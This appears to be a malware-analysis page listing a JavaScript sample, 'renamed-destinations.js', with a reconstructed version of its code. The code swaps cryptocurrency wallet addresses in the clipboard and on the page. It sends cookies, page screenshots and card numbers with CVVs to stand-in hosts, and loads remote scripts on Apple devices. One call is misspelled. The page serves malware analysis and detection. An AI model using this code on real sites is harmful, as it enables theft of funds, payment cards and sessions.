Hostile 92% javascript Download

renamed-destinations.js

Browser DOM rewrites cryptocurrency wallet addressesBrowser cookie sent in fetch POST body
SHA-25649d83956067fef2a5eb2ed729ac431bc7b067a943ca867282ae25c898ba66878

Evidence

Browser cookie sent in fetch POST body lines 1–45
1// Behavioral reconstruction from the Zscaler article, not recovered campaign bytes.
2const sink = 'https://telemetry.example.net/';
3const routes = {eth:'0x1234567890abcdef1234567890abcdef12345678'};
4const signatures = {eth:/0x[a-fA-F0-9]{40}/g};
5function transform(value) {
6 return value.replace(signatures.eth, () => routes.eth);
7}
8document.addEventListener('copy', ev => {
9 const selected = window.getSelection().toString();
10 ev.clipboardData.setData('text/plain', transform(selected));
11 ev.prevDefault();
12});
13new MutationObserver(() => {
14 const walker = document.createTreeWalker(document.body, NodeFilter.SHOW_TEXT);
15 let node;
16 while ((node = walker.nextNode())) {
17 const before = node.nodeValue;
18 const after = transform(before);
19 if (after !== before && node.parentElement.getBoundingClientRect().width > 0) {
20 node.nodeValue = after;
21 html2canvas(document.body).then(canvas => {
22 fetch(sink + 'hit.php', {method:'POST', body:JSON.stringify({
23 url:location.href, cookie:document.cookie, original:before, image:canvas.toDataURL()
24 })});
25 });
26 }
27 }
28}).observe(document.body, {childList:true, subtree:true, characterData:true});
29document.addEventListener('input', ev => {
30 if (!ev.target.matches('input, textarea')) return;
31 const number = document.querySelector('[name="cardnumber"]').value;
32 const expiry = document.querySelector('[name="expiry"]').value;
33 const cvv = document.querySelector('[name="cvv"]').value;
34 fetch(sink + 'card.php', {method:'POST', body:JSON.stringify({number, expiry, cvv})});
35});
36if (/iPhone|iPad/.test(navigator.userAgent)) {
37 for (const host of ['stage.example.net', 'fallback.example.net']) {
38 const stage = document.createElement('script');
39 stage.setAttribute('data-channel-code', 'JIUJIU888');
40 stage.setAttribute('data-chain-url', 'https://chain.example.net/');
41 stage.setAttribute('data-cfasync', 'false');
42 stage.src = 'https://' + host + '/boot.js';
43 document.head.appendChild(stage);
44 }
45}

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.